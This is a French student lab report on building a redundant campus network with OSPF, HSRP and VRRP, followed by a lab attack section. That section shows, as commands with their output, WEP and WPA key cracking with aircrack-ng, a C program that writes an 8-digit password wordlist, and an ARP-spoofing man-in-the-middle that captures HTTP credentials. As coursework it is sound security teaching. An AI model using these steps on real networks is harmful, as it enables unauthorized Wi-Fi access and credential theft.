Version du 20 novembre 2020 à 11:38

Ce rapport présente la mise en place d’un réseau redondé et la gestion de la sécurité

pastabox.site[1]

Partie commune

Installation du 6509

Le routeur 6509 est un routeur que l'on peut modifier d'un point de vue hardware.

On a donc dus installer le 6509 sur la baie et insérer les cartes superviseurs ainsi que les cartes d'entrées sorties.

configuration 3560E

La configuration du 3560E se fait via un port série et minicom

Elle consiste a se connecter au Vlan130 afin d'avoir un accès au réseau polytech ainsi qu'a internet, et de créer 11 Vlan. Les Vlans: Le Vlan 1 permet la communication entres les trois routeurs de l'architecture Le Vlan 2 relie les routeurs au serveur capbreton qui héberge les machines virtuel Les Vlans 3 a 11 serons distribués entre les personnes pour crée des réseaux locaux individuels

Les interfaces: L' interfaces 10Gbits 0/1 sont configurés en mode trunk pour la communication avec le 6509 via la fibre l'interface 0/5 est configurée sur le vlan 2 pour la communication avec capbreton en Ethernet l'interface 0/2 est configurée sur le vlan 2 pour la communication avec capbreton en Ethernet

Configuration de la redondance

Pour assurer la redondance des routeurs on utilise le logiciel ospf et on configure les métriques des routeurs(1 pour le routeur principal et 2 pour le routeur secondaire) afin de donner l'ordre de priorité des routeurs. Cette manipulation assure la redondance des serveurs en ipv4.

Pour l'ipv6, la gestion de la redondance a été faite en configurant "nd router-preference" a high pour le 6509 et a low pour le 3560E. quant a l'interconnexion avec les internet, elle se fait avec les métriques comme dit précédemment.

Routeur virtuel

Les différentes machines virtuelles pressentes sur le Vlan 2 ont besoin, d'un routeur pour communiquer vers l'extérieur. Mais comme nous avons deux routeurs et que les VM ne peuvent en avoir qu'un, nous avons crée un routeur virtuel. Les VM envoient leurs paquets à l'adresses du routeur virtuel. Ces paquets sont alors envoyés par l'un ou l'autre des routeurs selon les routes que l'on a fixé.

Pour fixer les routes, on a utiliser le HSRP de façon a ce que les communication passent en priorité sur le 6509 (si on ne fais pas cette manip les paquets sortent par le 3560E et reviennent par le 6509 ce qui peut poser des problèmes si l'un des deux routeurs tombe). On a donc installer HSRP sur les routeurs et on a définie la priorité du 6509 sur 120 et la priorité du 3506E sur 110. Les paquets passent dorénavant par le routeur qui a la plus haute priorité, ici le 6509.

routage VRRP

on utilise le protocol VRRP pour augmenter la sécurité du réseau. Ce protocol a pour but de remplacer le HSRP. Le 3560E n'etant pas compaible avec le protocol VRRP, nous avons dus utiliser le remplacer par un autre routeur:le Catalyst 9200 24. Il faut donc transferet toute la configuration du 3560 vers le 9200. Dans un soucis de fonctionement, Mr REDON a déja configurer le 9200 en routeur et le 3560 est utiliser en mode comutateur. Il ne nous reste donc a reconfigurer les vlan et les ports du 9200 pour pouvoir ce passer du 3560E. Une fois cela fait, on installe le protocol VRRP sur les routeurs et on configure les memes prioritées que le protocol HSRP, puisqu'e le vrrp a pour but de le remplacer.

Interconnexion avec internet

Nous n'avons pas eu le tmeps de realiser cette partie en pratique.

L'ISR doit permetre une redondance au niveau du fournusseur d'acces internet. Dans le cas ou renatere ne serais plus capable d'assurer un acces a internet, la connexion doit passer par l'isr qui eset relier a internet via un autre fournisseur d'acces. Il faut donc configurer l'isr avec le protocol VRRP en lui donnant une priorité faible (par exemple 80). De cette facon, il se placera en troisieme position deriere le 6509 et le 9200. Ensuite, il faut configuerer le protocol SLA sur le 6509 et le 9200 pour que ces routeurs verifient que la connexion a in ternet est fonctionnel. Dans le cas ou la connextion ne serais pas fonctionnnel, leurs prorité VRRP devrai baisser en desous de la priorité de l'ISR de facon a ce que tout le flux de données passe par l'ISR. Une foie la connextion retabie entre les routeurs principaux et renater, ils reprennent leurs prioritées de base et l'ISR se place en routeur de secour.

Installation des VM

pastabox.site

Attaque

crackage WEP

on utilise airmon pour configurer la che wiffi pour recevoir tous les paquets qui passent

airmon-ng start wlx40a5ef0598a3

On peut voir que le reseau a été renomé:

root@zabeth07:~# airmon-ng
PHY	Interface	Driver		Chipset
phy2	wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370

ensuite, on liste tous les paquets qui passent a vec la commande airodump en filtrant par le ssid de la craccote06 et le channel 9 qui est le channel ou se trouve la cracotte

airodump-ng --bssid 04:DA:D2:9C:50:55 -c 9 -w log wlan0mon

Avec la commande aircrack on decode la clef wep

                             Aircrack-ng 1.5.2 
                [00:00:00] Tested 665 keys (got 99549 IVs)
  KB    depth   byte(vote)
   0    0/ 50   F1(124160) 6C(112640) BA(112384) B4(111872) 18(111104) 
   1    6/  1   32(110848) 28(109568) B5(109568) 11(109312) 52(109056) 
   2    0/  2   A3(137216) AB(113408) D7(112384) 84(111616) 52(110592) 
   3    0/  1   A3(137728) 7C(112896) 39(111872) 6B(111360) 10(111104) 
   4    0/  1   A3(145920) D8(118272) 57(116224) 28(113408) 86(111872) 
            KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:99:99:99 ] 
	Decrypted correctly: 100%

crackage Wpa

on effectue la meme procedure que pour la cle wep. Pour le decodage, on doit utiliser un dictionnaire de mots. Pour ce faire, on crée un petit programme en C qui va generer tous les mots de passes possibles qui sont sous la forme de 8 chifres :

#include "stdio.h"
#include "stdlib.h"
int main(){
	int i=0;
	FILE* fichier=fopen("mdp","w+");
	for(i;i<=99999999;i++)
   {
       fprintf(fichier,"%08d\n",i);
   }
   fclose(fichier);
}

si besoin, pour accelerer le traitement, on peut partager la charge de travail sur plusieurs pc. pour ce faire, on utilise la commande split pour separer le fichier:

split -b 200000000 mdp

Pour transferer les fichier, on utilise la commande :

scp mdp zabethXX:mdp

on effectue la commande :

aircrack-ng logWpa-02.cap -w mdp

Cette commande va tester tous les mot de passes presents dans le fichier de mot de passe

                             Aircrack-ng 1.5.2 
     [01:03:39] 20208040/102795810 keys tested (4001.16 k/s) 
     Time left: 5 hours, 44 minutes, 1 second                  19.66%
                          KEY FOUND! [ 20133333 ]
     Master Key     : F4 DD 26 3A CD 9D 73 68 4F C5 6E DC DF AD FF 63 
                      A5 12 FB F0 66 F3 45 B0 30 44 24 53 CB 49 32 99 
     Transient Key  : 69 E3 37 64 12 48 43 2A BA D3 DF 47 FE 11 1A 6B 
                      B0 4E 44 C4 72 8F EB B3 3F 9C 76 37 9F 34 89 C6 
                      7D 9B 34 68 22 AE 38 91 51 55 6B 5D 2F 31 E9 69 
                      E4 A5 9E CF 8B E7 EB 02 C7 44 4B AE 2A B4 7F 8E 
     EAPOL HMAC     : 89 DE EA B7 55 FF 34 D4 8A D5 C6 E1 E2 2F 80 93

attaque par homme du millieu

Cette attaque consiste a se faire passer pour le routeur et ainssi modifier les données qui transites

pour ce faire il faut modifier le fichier /proc/sys/net/ipv4/ip_forward. On utilise la commande :

echo 1 > /proc/sys/net/ipv4/ip_forward

car ce fichier est un fichier specifique et il ne peut pas etre modifié avec des commandes classiques

On modifie aussi les fichiers : echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter echo 0 > /proc/sys/net/ipv4/conf/default/rp_filter

On fait ensuite un ip r pour recuperer l'addresse ip du routeur et on envoie des reponces arp a notre cible avec la commande suivante :

arpspoof -i bridge -t zabeth06 172.26.145.254

bridge est l'interface que l'on utilise, zabeth06 est la cible et 172.26.145.254 est l'addresse du routeur.

Le pc cible va recevoir des reponces arp et va changer ca table d'addressage en conciderant l'ordinateur attaquant comme son routeur. Il va donc envoyer ces requettes a ce dernier.

Sur le pc attaquant, on peut utiliser wireschark avec comme filtre : </code>host zabeth06 and port http</code>. On vois alors toutes les connections de zabeth06 vers des sites http.

En se connectant sur un site en http et donc non securisé, on peut visualiser l'ensemble des des communications entre l'ordinateur attaqué et les sites http comme les mots de passes

Authorization: Basic T3VpIGp1fdghtrGIUG46546\r\n
  Non d'utilisateur : Oui le pas de calais
  Mdp : le mdp

instalation dns securisé